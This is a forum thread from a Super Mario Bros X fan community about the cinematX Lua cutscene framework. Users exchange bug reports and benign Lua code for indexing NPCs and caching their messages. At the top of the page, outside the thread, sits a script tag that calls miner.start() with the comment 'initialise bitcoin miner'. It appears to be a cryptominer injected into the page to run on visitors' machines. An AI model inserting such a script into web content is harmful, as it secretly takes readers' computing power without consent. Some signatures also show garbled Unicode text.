<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralmario fan games galaxysmbx community

cinematX - 1.0 is on its' way

The second SMBX collab!
Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

cinematX - 1.0 is on its' way

Postby Rockythechao » 5 years ago

New changelog/roadmap HERE! Also, please see the latest post regarding the upcoming v0.8 and the new sample episode.

FAQ:

What is cinematX?
cinematX is a Lua framework for scripted and dynamic sequences in Super Mario Bros X.

What can I do with it?









How do I get it?
cinematX comes bundled with LunaLua. If you want to install it manually:

Get LunaDLL for Lua here...
...then download the latest stable version of cinematX (v0.0.7) here...
...and follow the installation instructions over here.

If you'd like to help contribute to the library or play around with the latest development version, you can find the source here on Github. PM me or ask me on codehaus if you want to join the repository.

Documentation?
Still in the works. For now you can download the (slightly buggy and incomplete) sample levels from the videos here and mess around with their code to learn their mysterious secrets.

How can I help make cinematX better?
Aside from joining the repo, please report any bugs you find in the sample episode or the cinematX scripts in this thread. Also don't hesitate to ask questions so I know what needs to be covered in the documentation, and feel free to suggest any features or potential improvements. Again, the changelog/roadmap is here (to-do list removed since that thing ended up never getting updated).
Last edited by Rockythechao on 07 Apr 2016, 16:37, edited 21 times in total.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Mabel
Just west of wierd
Posts: 279
Joined: 6 years ago

Re: cinematX - public alphabeta release thing

Postby Mabel » 5 years ago

the text override is great

this is all great...

now to see how much I can break <3
Image
Image
Image Image

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Is there a way to install this locally to a single level? That seems to be the suggestion if we want to use it with MAGLX2, and it appears to break if I just put the files into the level folder.

EDIT: Even after installing it in the specified location (which fixes the graphics), whenever I talk to an npc, it gives me an error saying "global cinematx was nil". Why would this be?

EDIT EDIT: Never mind, forgot the line in the mainv2 file.

EDIT EDIT EDIT: Okay, it seems cinematX can't be disabled on specific levels, meaning it permanently breaks the built-in speech system. This means it's probably not possible to use is MAGLX 2 :'(
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

You can, actually, using cinematX.config ().
I thought I left a config statement in one of the examples but I guess I forgot to add that.

...that said, let me know if it still breaks because I haven't done much testing with toggleOverrideMsg set to false.

(Also, the wiki page says the debug stuff is false by default but I think it's set to true, so for now you can disable the console and any other debug stuff that might pop up by changing line 677 in cinematX.lua.)
Last edited by Rockythechao on 02 Feb 2015, 22:25, edited 2 times in total.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:You can, actually, using cinematX.config ().
I thought I left a config statement in one of the examples but I guess I forgot to add that.

...that said, let me know if it still breaks because I haven't done much testing with toggleOverrideMsg set to false.
Can we change this to be false by default? It's best to keep things "vanilla unless stated otherwise", especially if we're working with MAGLX2.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

Sure, it's right above the debug setting, line 676.

Code: Select all

cinematX.overrideNPCMessages = false
cinematX.showDebugInfo = false
Last edited by Rockythechao on 02 Feb 2015, 22:27, edited 1 time in total.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Sure, it's right above the debug setting, line 676.

Code: Select all

cinematX.overrideNPCMessages = true
cinematX.showDebugInfo = true--false
Did that. Now calling config(true, true) appears to do nothing. This suggests it needs to be true on the startup of cinematX.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

Then that is a problem. Lemme see if I can make a fix real quick.
EDIT: Okay, it works if you put it just after the loadSharedAPI call at the top, and that's really a better solution than having it nested in another function further down in the script, so I'll just update the script comments and wiki page to reflect that.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

That appears to be working. I can't seem to get the quest icon to appear, though. It seems to be parsing correctly from the editor, but always displays the "talk" icon. EDIT: I changed the config to (true,false), and it appears to work now.


EDIT: Found a bug. After collecting a dragon coin, my "quest" NPC can no longer be interacted with at all. He has no icon, and I can't talk to him. This only seems to happen if I collect one in another room, and go back to the section with the quest NPC in. It doesn't appear to be because of the talk icon, NPC ID, key, or name, but I can't work out where the problem is occurring...

EDIT EDIT:
Okay, if I collect a dragon coin in a different room from the NPC, then collect one in the same room (while the NPC is broken), the game crashes.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

Hm, I have a theory on what might be causing that. Is it just that one NPC or does it break every NPC in the section/level?

EDIT: Oh, crud. I fear that may somehow be connected to the old end-level crash bug I couldn't figure out.
Last edited by Rockythechao on 02 Feb 2015, 23:56, edited 1 time in total.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Hm, I have a theory on what might be causing that. Is it just that one NPC or does it break every NPC in the section/level?
Just the one NPC. The rest still function.

EDIT: Okay, the NPC now immediately dies if I collect a dragon coin, regardless of where it is.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

Sounds like there's something seriously wrong with the Actor generation code. I'll have to dig into that stuff after I get back from dinner.

In the meantime, I've started the Actor class page over on the wiki. Most of the member functions and variables are listed there but they're not all inserted into the table, given descriptions, etc. yet.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Okay, it sounds like there's something seriously wrong with the Actor generation loop. I'll have to dig into that code after I get back from dinner.

In the meantime, I've started the Actor class page over on the wiki. Most of the member functions and variables are listed there but they're not all inserted into the table, given descriptions, etc. yet.
I'll keep poking at it for a while to see if I can find anything out. Interestingly, it appears to be reporting the "wordBubbleIcon" value as nil when it tried to draw it (even before it breaks). This might be junk data from another NPC though, so I'll keep probing.

EDIT: Never mind, it was junk data. It also seems the NPC also only occasionally breaks after collecting a dragon coin in the same area.

EDIT EDIT: The NPC appears to be functioning correctly now for some reason, but collecting 2 dragon coins still crashes the editor.

Ahh... the problem has migrated to another NPC. This is interesting.

Okay, so the error now occurs when I collect the second dragon coin, and doesn't crash the editor. It seems, however, that "updateNPCMessages" isn't referencing that NPC. This suggests that it's being removed from the indexed actors list. It's possible that the dragon coin being collected is incorrectly removing the NPC from the list.


Right. I think the cause might be that the "npcs" call in LunaLua returns surviving npcs, but the order in which it does so is not guaranteed. When the dragon coin is killed, it removes an NPC from somewhere in the middle of that list. This invalidates some saved indices, and the crash is caused by an out of bounds array index. This is just speculation, but it does make a certain amount of sense. The only bit that doesn't is that this doesn't occur for all NPCs. It seems to only occur for dragon coins.

Okay, new info. When the NPC breaks, it seems that it moves. I printed out the distances cinematX logs, and it jumps from about 500 (which cinematX deems on screen and draws the icon) to 225946 (which is obviously offscreen). I suspect this is how SMBX deals with objects being killed (moving them into a "dead" zone), and cinematX is reading the wrong value.

The indexActors function is behaving as expected.

AHA! When collecting the dragon coin, one of the indexed object's SMBX NPC id is set to 0. This is the NPC that breaks. It appears to be a null struct - that is, default values. It looks like the indexed item has been replaced with a new one.

Okay. The actor that breaks appears to be shifted to the first in the list when npcs() is called - replacing the position held by the dragon coin. A potential solution to this would be to sort the npc list in Lua. I'll see if that helps...

I implemented a quick sorting algorithm, and set it up so the dragon coins were just popped off the end. The error still occurs.

Right, I'm going off to bed now. Hopefully the information in this post will be helpful at diagnosing the problem.

One more bit of information: If I place a debug printText that accesses one of the string fields of the SMBX object, the game crashes when the dragon coin is collected. I suspect this is due to an out of bounds pointer (probably set to 0, like all the other fields).

I've drilled right into all of the Lua code in cinematX, and it seems like the error is probably coming from the underlying C++, rather than the Lua. It's either that, or the destructive act of deleting the NPCs message string is breaking things (which is possibly the case).

You could possibly fix this by re-indexing the actors each frame. This is more difficult than it sounds because the message string is removed after the actor has been indexed. If it were somehow possible to recover the original message string, and restore it (or cache it once and use the cached version), then it might be doable. The problem is that the SMBX object isn't usable as a key (as that is being reset), and it needs to be able to ensure it's the same NPC from SMBXs side. I'll see if I can do anything.

Hmm... given it a try. I could do this relatively easily if SMBX NPCs had a unique, unchanging ID. Unfortunately, this doesn't appear to be the case... I've got it working on the condition that there is only one CinematX NPC of each NPC ID. Any more, and it will break. I need a way to determine individual NPCs directly from the SMBX data, and the internal array index is useless because it isn't guaranteed to be the same during execution.
Image
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Sounds like there's something seriously wrong with the Actor generation code.
Okay. I've been doing a lot of digging. I think the problem is with Actor.create - it's storing a copy of the SMBX object, but this isn't a reference as such, it's a value type that happens to do a memory set any time you change one of its values. I think this is the source of the issue, because this value is becoming out-of-sync with the internal NPC values (though I'm still not sure why).

I've made some progress by changing how the "indexActors" function works.

Code here:

Code: Select all

cinematX.messageCache = {}

function cinematX.indexActors (onlyIndexNew)
		
		-- Loop through every NPC, create an indexed actor instance for each one and store the messages & other info
		local i = 0

		for k,v in pairs (npcs()) do
	
				local msgStr = v.msg.str
				if(cinematX.messageCache[v.id] ~= nil) then
					msgStr = cinematX.messageCache[v.id]
				end
				
				if(msgStr ~= nil  and   msgStr ~= "" ) then
				
				-- Create the actor and add it to the table
				local thisActor = Actor.create (v, "NPC")
				thisActor.messagePointer = v:mem (0x4C, FIELD_DWORD)
				cinematX.indexedActors[i] = thisActor
				
				
				-- Get the message string
				thisActor.messageString = msgStr
				thisActor.messageNew = true				
				
				
				-- Parse the message string
				if  (msgStr ~= ""   and   msgStr ~= nil)   then
					
					-- Get the substring between the first and last characters
					local checkStringA = string.sub  (msgStr, 2, string.len(msgStr)-1)
					-- Get JUST the first and last characters
					local checkStringB = string.gsub (msgStr, checkStringA, "")

					-- If this is false, not a valid cinematX message
					if 		(string.find (checkStringA, "[{}]") == nil
						and  checkStringB == "{}")  then

						-- Parse tags
						local parsedKey     = cinematX.parseTagFromNPCMessage (msgStr, "key")
						local parsedName    = cinematX.parseTagFromNPCMessage (msgStr, "name")
						local parsedIcon    = cinematX.parseTagFromNPCMessage (msgStr, "icon")
						local parsedScene   = cinematX.parseTagFromNPCMessage (msgStr, "scene")
						local parsedRoutine = cinematX.parseTagFromNPCMessage (msgStr, "routine")
							
							
						-- Store key for use in getNPCFromKey() if parsed
						if (parsedKey ~= nil) then
							cinematX.npcMessageKeyIndexes[parsedKey] = i
							--windowDebug ("key = "..parsedKey..", "..tostring(cinematX.npcMessageKeyIndexes[parsedKey])..", "..tostring(cinematX.npcMessageKeyIndexes["calleoca"]))
						end
						
						-- Store name if parsed
						if (parsedName == nil) then
							parsedName = "UNNAMED NPC"
						end
						thisActor.nameString = parsedName
						
						-- Store icon if parsed
						thisActor.wordBubbleIcon = tonumber (parsedIcon)
						
						-- Store scene
						thisActor.sceneString = parsedScene
						--windowDebug (thisActor.sceneString)
						
						-- Store routine
						thisActor.routineString = parsedRoutine
						
						-- Store whether the actor is interactive
						if  (parsedRoutine ~= nil   or   parsedScene ~= nil)  then
							thisActor.isInteractive = true
						end
					end
					
					
					-- If set to override the SMBX message system, clear the NPC's message after storing it
					if   (cinematX.overrideNPCMessages == true)   then
						local message = msgStr
						v.msg:clear()
						cinematX.messageCache[v.id] = message
					end
				end
				
				-- Increment the actor count
				i = i + 1;
			end
			
		end
		
	end
The idea here is to cache the messages before deleting them (a better version would cache the parsed values, I just did this quickly to see if it would work), then re-index the actors each frame. This means it recovers from a failure neatly, rather than potentially leaving trailing blank SMBX objects around.

Sadly, this doesn't work entirely. The problem is simply that the cache is currently being indexed with the NPC ID, which is not unique. For this to work properly, we need a unique key for each NPC. I was looking at the array index, but this is flawed, because it can change. The NPC arra has predictable behaviour. It lists all the NPCs in some ordering, and removes objects from the list when they are killed. Sadly, this causes NPCs later in the list to pop down, changing their array ID. I don't know if this is a by-product of how SMBX stores NPCs, or the npcs() function. If we can work around this, I'm sure we can fix the bug.

EDIT: I tried making a list that cached objects and stored them in a specified order, in order to keep a global ID, and I noticed something interesting, that appears to be causing the bug: When a dragon coin is collected, two of these references swap positions. These are directly storing the SMBX object, and not being changed after that. SMBX is actually swapping references around on the fly. This is why this bug is being caused - the cached SMBX object associated with a given Actor is actually changing what it's pointing to. This is definitely an issue with SMBX, and needs dealing with on the C++ end.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

You could possibly fix this by re-indexing the actors each frame. This is more difficult than it sounds because the message string is removed after the actor has been indexed. If it were somehow possible to recover the original message string, and restore it (or cache it once and use the cached version), then it might be doable. The problem is that the SMBX object isn't usable as a key (as that is being reset), and it needs to be able to ensure it's the same NPC from SMBXs side. I'll see if I can do anything.

Hmm... given it a try. I could do this relatively easily if SMBX NPCs had a unique, unchanging ID. Unfortunately, this doesn't appear to be the case... I've got it working on the condition that there is only one CinematX NPC of each NPC ID. Any more, and it will break. I need a way to determine individual NPCs directly from the SMBX data, and the internal array index is useless because it isn't guaranteed to be the same during execution.
Yeah, the entire point of the method I used to index the NPCs/Actors was to create my own unique keys for each NPC that I could rely on instead of npcs() -- specifically, the order the actors were created. The message strings and pointers should be stored in their respective actors in case they need to be referenced or reset again... But it does rely on the assumption that the LunaLua objects remain synced to their respective memory, so...
I think the problem is with Actor.create - it's storing a copy of the SMBX object, but this isn't a reference as such, it's a value type that happens to do a memory set any time you change one of its values. I think this is the source of the issue, because this value is becoming out-of-sync with the internal NPC values (though I'm still not sure why).
Because of this, everything falls apart.

MID-POSTING EDIT:
EDIT: I tried making a list that cached objects and stored them in a specified order, in order to keep a global ID, and I noticed something interesting, that appears to be causing the bug: When a dragon coin is collected, two of these references swap positions. These are directly storing the SMBX object, and not being changed after that. SMBX is actually swapping references around on the fly. This is why this bug is being caused - the cached SMBX object associated with a given Actor is actually changing what it's pointing to. This is definitely an issue with SMBX, and needs dealing with on the C++ end.
Dagnabbit, Redigit. Dagnabbit.

Guess it's time we brought this over to the LunaLua thread, assuming you haven't already done so and that's what the notification I just got on my phone was.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote:Dagnabbit, Redigit. Dagnabbit.

Guess it's time we brought this over to the LunaLua thread, assuming you haven't already done so and that's what the notification I just got on my phone was.
This could be an issue with LunaDLL/LunaLua, too. We don't get direct access to the structures, after all, so it could be that Luna is the one swapping references, rather than SMBX. I find that less likely, though.

It is, however, probably possible to patch in a unique ID for each NPC, which would help solve this (this should be as simple as attaching a "uniqueID" field to the structure, then keeping an internal counter, and if a new NPC is found that has a uniqueID of -1, set it to the counter and increment the counter. This is exactly what I was trying to do, but because the wrong values are given to Lua in the first place, this isn't possible. It needs to be stored in the struct itself.
Image
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Rockythechao wrote: Yeah, the entire point of the method I used to index the NPCs/Actors was to create my own unique keys for each NPC that I could rely on instead of npcs() -- specifically, the order the actors were created. The message strings and pointers should be stored in their respective actors in case they need to be referenced or reset again... But it does rely on the assumption that the LunaLua objects remain synced to their respective memory, so...
A wild solution appeared!

So, this is a bit of a hack, but I've used the mem function to write in unique IDs to an (apparently) unused section of the NPC memory. This could break if other code writes to the same location, but as it stands, it works.

Here's the code:

Code: Select all

cinematX.messageCache = {}
	

function cinematX.indexActors (onlyIndexNew)
      
      -- Loop through every NPC, create an indexed actor instance for each one and store the messages & other info
      local i = 0
	  
	  -- Swap this for the location to store and read the NPC unique ID. 0x08 appears unused, but this can be changed to any unused word.
	  local idmem = 0x08

      for k,v in pairs (npcs()) do
   
			local uid = v:mem(idmem, FIELD_WORD);
            local msgStr = v.msg.str
			
			if(uid == 0) then
				v:mem(idmem, FIELD_WORD, cinematX.actorCount);
				uid = cinematX.actorCount;
				cinematX.actorCount = cinematX.actorCount + 1;
			end
			
            if(cinematX.messageCache[uid] ~= nil) then
               msgStr = cinematX.messageCache[uid]
            end
            
            if(msgStr ~= nil  and   msgStr ~= "" ) then
            
            -- Create the actor and add it to the table
            local thisActor = Actor.create (v, "NPC")
            thisActor.messagePointer = v:mem (0x4C, FIELD_DWORD)
            cinematX.indexedActors[i] = thisActor
            
            
            -- Get the message string
            thisActor.messageString = msgStr
            thisActor.messageNew = true            
            
            
            -- Parse the message string
            if  (msgStr ~= ""   and   msgStr ~= nil)   then
               
               -- Get the substring between the first and last characters
               local checkStringA = string.sub  (msgStr, 2, string.len(msgStr)-1)
               -- Get JUST the first and last characters
               local checkStringB = string.gsub (msgStr, checkStringA, "")

               -- If this is false, not a valid cinematX message
               if       (string.find (checkStringA, "[{}]") == nil
                  and  checkStringB == "{}")  then

                  -- Parse tags
                  local parsedKey     = cinematX.parseTagFromNPCMessage (msgStr, "key")
                  local parsedName    = cinematX.parseTagFromNPCMessage (msgStr, "name")
                  local parsedIcon    = cinematX.parseTagFromNPCMessage (msgStr, "icon")
                  local parsedScene   = cinematX.parseTagFromNPCMessage (msgStr, "scene")
                  local parsedRoutine = cinematX.parseTagFromNPCMessage (msgStr, "routine")
                     
                     
                  -- Store key for use in getNPCFromKey() if parsed
                  if (parsedKey ~= nil) then
                     cinematX.npcMessageKeyIndexes[parsedKey] = i
                     --windowDebug ("key = "..parsedKey..", "..tostring(cinematX.npcMessageKeyIndexes[parsedKey])..", "..tostring(cinematX.npcMessageKeyIndexes["calleoca"]))
                  end
                  
                  -- Store name if parsed
                  if (parsedName == nil) then
                     parsedName = "UNNAMED NPC"
                  end
                  thisActor.nameString = parsedName
                  
                  -- Store icon if parsed
                  thisActor.wordBubbleIcon = tonumber (parsedIcon)
                  
                  -- Store scene
                  thisActor.sceneString = parsedScene
                  --windowDebug (thisActor.sceneString)
                  
                  -- Store routine
                  thisActor.routineString = parsedRoutine
                  
                  -- Store whether the actor is interactive
                  if  (parsedRoutine ~= nil   or   parsedScene ~= nil)  then
                     thisActor.isInteractive = true
                  end
               end
               
               
               -- If set to override the SMBX message system, clear the NPC's message after storing it
               if   (cinematX.overrideNPCMessages == true)   then
                  local message = msgStr
                  v.msg:clear()
                  cinematX.messageCache[uid] = message
               end
            end
            
            -- Increment the actor count
            i = i + 1;
         end
         
      end
      
   end
I'm going to touch this up now so the message cache keeps the parsed versions of the values, to save on computation costs.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

I should probably go ahead and set up a github repo for this thing already.
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 π€π–π„π’πŽπŒπ„ ππ‘π€π˜π„π‘ πˆπ’
π‚πŽππ…π‹πˆπ‚π“ π–πˆπ“π‡ 𝐔𝐒

- ππ€π“π“π‹π„π’π”πˆπ“ πŒπŽπ‘π’π„π‹ -

πŠπ„π„π π˜πŽπ”π‘ πƒπˆπ†ππˆπ“π˜

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Better version. Caches a reference to the actor, with the UID as the key. Now it just updates the SMBX reference, rather than re-parse the actor:

Code: Select all

cinematX.npcCache = {}
	
function cinematX.indexActors (onlyIndexNew)
     
      -- Loop through every NPC, create an indexed actor instance for each one and store the messages & other info
      local i = 0
    
     -- Swap this for the location to store and read the NPC unique ID. 0x08 appears unused, but this can be changed to any unused word.
     local idmem = 0x08

      for k,v in pairs (npcs()) do
   
         local uid = v:mem(idmem, FIELD_WORD);
         local msgStr = v.msg.str
         
		 --Assign a new unique ID to the NPC (this applies to all NPCs, not just CinematX enabled ones.
         if(uid == 0) then
            v:mem(idmem, FIELD_WORD, cinematX.actorCount);
            uid = cinematX.actorCount;
            cinematX.actorCount = cinematX.actorCount + 1;
         end
         
		 --Have we already defined this actor? If so, then we update the SMBX reference accordingly.
         if(cinematX.npcCache[uid] ~= nil) then
			cinematX.npcCache[uid].smbxObjRef = v;
		 --Otherwise, create a new actor, if necessary.
         elseif(msgStr ~= nil  and   msgStr ~= "" ) then
           
            -- Create the actor and add it to the table
			local thisActor = Actor.create (v, "NPC")
			thisActor.messageNew = true   
            thisActor.messagePointer = v:mem (0x4C, FIELD_DWORD)
            cinematX.indexedActors[i] = thisActor
           
           
            -- Get the message string
            thisActor.messageString = msgStr      
           
           
            -- Parse the message string
            if  (msgStr ~= ""   and   msgStr ~= nil)   then
               
               -- Get the substring between the first and last characters
               local checkStringA = string.sub  (msgStr, 2, string.len(msgStr)-1)
               -- Get JUST the first and last characters
               local checkStringB = string.gsub (msgStr, checkStringA, "")

               -- If this is false, not a valid cinematX message
               if       (string.find (checkStringA, "[{}]") == nil
                  and  checkStringB == "{}")  then

                  -- Parse tags
                  local parsedKey     = cinematX.parseTagFromNPCMessage (msgStr, "key")
                  local parsedName    = cinematX.parseTagFromNPCMessage (msgStr, "name")
                  local parsedIcon    = cinematX.parseTagFromNPCMessage (msgStr, "icon")
                  local parsedScene   = cinematX.parseTagFromNPCMessage (msgStr, "scene")
                  local parsedRoutine = cinematX.parseTagFromNPCMessage (msgStr, "routine")
                     
                     
                  -- Store key for use in getNPCFromKey() if parsed
                  if (parsedKey ~= nil) then
                     cinematX.npcMessageKeyIndexes[parsedKey] = i
                     --windowDebug ("key = "..parsedKey..", "..tostring(cinematX.npcMessageKeyIndexes[parsedKey])..", "..tostring(cinematX.npcMessageKeyIndexes["calleoca"]))
                  end
                 
                  -- Store name if parsed
                  if (parsedName == nil) then
                     parsedName = "UNNAMED NPC"
                  end
                  thisActor.nameString = parsedName
                 
                  -- Store icon if parsed
                  thisActor.wordBubbleIcon = tonumber (parsedIcon)
                 
                  -- Store scene
                  thisActor.sceneString = parsedScene
                  --windowDebug (thisActor.sceneString)
                 
                  -- Store routine
                  thisActor.routineString = parsedRoutine
                 
                  -- Store whether the actor is interactive
                  if  (parsedRoutine ~= nil   or   parsedScene ~= nil)  then
                     thisActor.isInteractive = true
                  end
               end
               
               
               -- If set to override the SMBX message system, clear the NPC's message after storing it
               if   (cinematX.overrideNPCMessages == true)   then
                  local message = msgStr
                  v.msg:clear()
                  cinematX.npcCache[uid] = thisActor 
               end
           end
            -- Increment the actor count
            i = i + 1;
         end
         
      end
     
   end
Image
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

Now that this isn't crashing or breaking horribly, I'm having trouble setting up an animated NPC. As far as I can tell, it's set up the same as Calleoca, but the animations seem to flash a lot (particularly with the one frame I have for idle). Am I doing something wrong?

EDIT: Got that working, but only in one direction. Facing left, everything is fine. Facing right, my NPC is invisible.

EDIT EDIT: Okay, now it's not invisible, but the walk animation isn't playing, and the idle displays the wrong frame.

EDIT EDIT EDIT: Oops. I had the wrong frame number in the npc file. Fixed now.
Image
Image
Image
Image
Image

User avatar
Hoeloe
A2XT person
Posts: 919
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: cinematX - public alphabeta release thing

Postby Hoeloe » 5 years ago

May I request a feature?

Can we have an option for "endcutscene" to not reset the player's position? I'm trying to make a cutscene that plays when you walk out of a specific area, to put you back in the area (an out of bounds type thing), but it requires a bit of a hack around to do that.

EDIT: in fact, it looks like this might actually just plain not be possible to do, which is a huge pain.

EDIT EDIT: Nope. I was just derping massively by using . instead of :

Ignore me.


Although, I do suggest this change at line 1377:

Code: Select all

if(cinematX.dialogName ~= "") then
			printText (cinematX.dialogName..":", 4, 5, 475)  
			end
This will allow for blank names without looking odd. Useful if you want to use description in the dialogue box.
Image
Image
Image
Image
Image

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 996
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: cinematX - public alphabeta release thing

Postby Rockythechao » 5 years ago

